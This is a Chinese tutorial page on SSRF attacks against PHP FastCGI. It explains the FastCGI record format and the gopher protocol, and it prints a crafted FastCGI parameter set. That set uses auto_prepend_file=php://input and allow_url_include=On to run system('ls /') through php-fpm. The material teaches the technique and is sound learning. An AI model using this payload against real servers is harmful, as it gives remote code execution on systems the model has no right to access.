SSRF_FastCGI

FastCGI协议

  • 简介

    • Fast CGI源自旧版本的CGI

      • 路由/结构图

        • # 访问url --> 浏览器生成HTTP请求报文 --> web server解析请求(例如nginx)
          web server 是内容的分发者
          当访问静态页面时,web server 会直接返回资源,例如index.html
          当访问动态页面时,web server 会调用解析器,例如index.php
          # --> 访问CGI
          # --> CGI初始化环境,加载配置,处理请求,返回资源,结束进程 (每次处理请求后都会销毁进程,浪费资源)
      • 旧版本的CGI性能低下,无法应用在高并发的场景,FastCGI应运而生

    • FastCGI也是一种通信协议(类似HTTP协议),采用CS架构,web server 为客户端---发送请求,动态语言解析器 为服务端---处理请求

      • 路由/结构图

        • # 访问url --> 浏览器生成HTTP请求报文 --> web server解析请求(例如nginx)
          当访问index.php时,web server 会把HTTP请求转换为FastCGI请求
          # --> 转换为FastCGI协议格式
          并发送给解析器,这里以php为例
          # --> 发送至php-fpm process manager
          php-fpm接收到请求后,把请求分配给一个worker,worker就是一个解析服务的进程(一直运行),worker根据请求信息,解析php,返回页面
          例如,招新平台运行了15个worker,(不考虑nginx处理时间)同时可以处理15个请求
          # --> php-fpm解析并响应
        • 对比图

  • FastCGI报文格式

    • 定义

      typedef struct {
      unsigned char version; //版本
      unsigned char type; //类型
      unsigned char requestIdB1; //请求Id
      unsigned char requestIdB0;
      unsigned char contentLengthB1; //负载长度
      unsigned char contentLengthB0;
      unsigned char paddingLength; //填充长度
      unsigned char reserved; //保留字节
      unsigned char contentData[contentLength]; //负载数据
      unsigned char paddingData[paddingLength]; //填充数据
      } FCGI_Record;
    • 构造出的执行ls /命令的FastCGI请求( 调整过格式,不标准)

      CONTENT_LENGTH 34 # 内容长度
      CONTENT_TYPE application/text # 内容格式
      REMOTE_PORT 9985 # 请求端口
      SERVER_NAME localhost # server名
      GATEWAY_INTERFACE FastCGI/1.0 # API
      SERVER_SOFTWARE php/fcgiclient # server端 软件
      REMOTE_ADDR 127.0.0.1 # 请求ip
      SCRIPT_FILENAME /var/www/html/index.php # 脚本文件名
      SCRIPT_NAME /var/www/html/index.php # 脚本名
      PHP_VALUE auto_prepend_file = php://input
      REQUEST_METHOD POST # 请求方法
      SERVER_PORT 8 # server端口
      SERVER_PROTOCOL HTTP/1.1 # server 协议
      QUERYDOCUMENT_ROOT / # 请求文件根目录
      IN_VALUE allow_url_include = On # 设置 允许url包含
      SERVER_ADDR 127.0.0.1 # server ip
      REQUEST_URI /var/www/html/index.php # 请求资源 "<?php var_dump(system('ls /')); ?>" # 内容

SSRF

  • 简介

    • SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造的,由服务端发起请求的漏洞。
    • 利用不安全的配置,构造可以访问内网的请求
      • 例如:

        • /secret.php 是外网无法访问的
        • http://xxx.xxx/?url=http://127.0.0.1/example.php,该链接会使用curl构造请求,访问/var/www/html/secret.php文件,如果配置不当,就可以利用GET参数url,构造请求访问内网资源
        • 假如内网的3000端口有管理系统,则可以通过?url=http://127.0.0.1:3000进行访问
  • ssrf万金油----gopher

    • gopher是被http替代掉的老协议

    • 协议格式

      • gopher://IP:PORT/_+TCP/IP数据

      • 例如

        • http请求:http://127.0.0.1/index.php?test=123

          • http请求包

          • GET /index.php?test=123 HTTP/1.1
            Host: 127.0.0.1
            Upgrade-Insecure-Requests: 1
            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
            Accept-Encoding: gzip, deflate
            Accept-Language: zh-CN,zh;q=0.9
            Connection: close
        • gopher请求:gopher://127.0.0.1:80/_GET%20index.php?test=123%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%0d%0a%55%70%67%72%61%64%65%2d%49%6e%73%65%63%75%72%65%2d%52%65%71%75%65%73%74%73%3a%20%31%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%4d%6f%7a%69%6c%6c%61%2f%35%2e%30%20%28%57%69%6e%64%6f%77%73%20%4e%54%20%31%30%2e%30%3b%20%57%69%6e%36%34%3b%20%78%36%34%29%20%41%70%70%6c%65%57%65%62%4b%69%74%2f%35%33%37%2e%33%36%20%28%4b%48%54%4d%4c%2c%20%6c%69%6b%65%20%47%65%63%6b%6f%29%20%43%68%72%6f%6d%65%2f%37%34%2e%30%2e%33%37%32%39%2e%31%36%39%20%53%61%66%61%72%69%2f%35%33%37%2e%33%36%0d%0a%41%63%63%65%70%74%3a%20%74%65%78%74%2f%68%74%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%68%74%6d%6c%2b%78%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%6d%6c%3b%71%3d%30%2e%39%2c%69%6d%61%67%65%2f%77%65%62%70%2c%69%6d%61%67%65%2f%61%70%6e%67%2c%2a%2f%2a%3b%71%3d%30%2e%38%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%69%67%6e%65%64%2d%65%78%63%68%61%6e%67%65%3b%76%3d%62%33%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%2d%4c%61%6e%67%75%61%67%65%3a%20%7a%68%2d%43%4e%2c%7a%68%3b%71%3d%30%2e%39%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%0d%0a%0d%0a

          • 这是HTTP请求包的url编码
          • gopher会访问指定IP(上面是127.0.0.1)的指定端口(上面是80,http默认端口),并传递_之后的数据
        • 也就是说,如果能使用gopher协议,那么只需要构造我们要用到的协议的请求数据(比如上面的HTTP),就可以实现访问

ssrf + fastcgi

  • 如果目标服务器使用的是php,并且存在ssrf,那么就可以构造FastCGI请求报文,直接让php解析服务进行解析,进而执行任意代码
  • 之前构造出的执行 ls /的FastCGI请求中,关键部分
PHP_VALUE auto_prepend_file = php://input
# 把auto_prepende_file的内容设置为 php://input http post body
# auto_prepende_file 会在解析指定php文件之前包含(可以理解为执行)
# php://input的内容为POST请求的body IN_VALUE allow_url_include = On # 设置 允许url包含 使php://input被允许执行 REQUEST_URI /var/www/html/index.php # 请求资源 "<?php var_dump(system('ls /')); ?>" # 内容 post body
  • 会在解析index.php之前,包含(执行)php://input的内容<?php var_dump(system('ls /')); ?>

  • 这样,就可以使用ssrf+fastcgi执行任意代码了

    示例

参考

SSRF_FastCGI的更多相关文章

随机推荐

  1. 为什么要从 Linux 迁移到 BSD 4

    为什么要从 Linux 迁移到 BSD 4 许可证问题 Linux GPL 许可证对开发者的要求比较严格,它是一种开源的反模式,因为它强制发布所有修改过的源代码,并且阻止其他开源项目的集成,例如 GP ...

  2. C语言变量及其生命周期

    变量类型以及作用域和生命周期 变量的作用域 变量的作用域就该变量可以被访问的区间,变量的作用域可以分为以下四种: 进程作用域(全局):在当前进程的任何一个位置都可以访问 函数作用域:当流程转移到函数后 ...

  3. PureMVC学习笔记

    一.简介 PureMVC是基于MVC思想和一些基础设计模式建立的一个轻量级的应用框架,免费开源,最初是执行的ActionScript 3语言使用,现在已经移植到几乎所有主流平台.PureMVC官方网站 ...

  4. 半监督学习方法(Semi-supervised Learning)的分类

    根据模型的训练策略划分: 直推式学习(Transductive Semi-supervised Learning) 无标记数据就是最终要用来测试的数据,学习的目的就是在这些数据上取得最佳泛化能力. 归 ...

  5. 技术分享PPT整理(二):C#常用类型与数据结构

    这篇博客起源于我对Dictionary.List.ArrayList这几个类区别的好奇,当时在改造公司的旧系统,发现很多地方使用了ArrayList,但我们平时用的多是泛型集合List,改造的时候要全 ...

  6. Web 前端 - 又不仅限于 Web 前端 - 协程锁问题

    前言 最近两天的 web 前端开发中,早前的锁实现 (自旋锁) 出现了一些不合理的现象,所以有了这片随笔 什么是协程锁?能点进这个博客的的你肯定是明白的,不明白的人根本搜不到我这随笔,不多做赘述. 一 ...

  7. 为什么要放弃 JSP?他们终于给出了答案

    前言 以前的项目大多数都是Java程序猿又当爹又当妈,既搞前,又搞后端. 随着时代的发展,渐渐的许多大中小公司开始把前后端的界限分的越来越明确,前端工程师只负责前端的事情,后端工程师只管后端的事情.正 ...

  8. java正则匹配${xxx} 排除单引号双引号内的内容,前提引号必须成对出现

    public static void main(String[] a) { String wpp = "select 1, ${mark} '``this is, `/message22` ...

  9. Java 获取Word中的标题大纲(目录)

    概述 Word中的标题可通过"样式"中的选项来快速设置(如图1), 图1 在添加目录时,可将"有效样式"设置为"目录级别"显示(如图2),一 ...

  10. Dapper, Ef core, Freesql 插入大量数据性能比较(一)

    需求:导入9999行数据时Dapper, Ef core, Freesql 谁的性能更优,是如何执行的,级联增加谁性能更佳. 确认方法:sql server 的 sys.dm_exec_query_s ...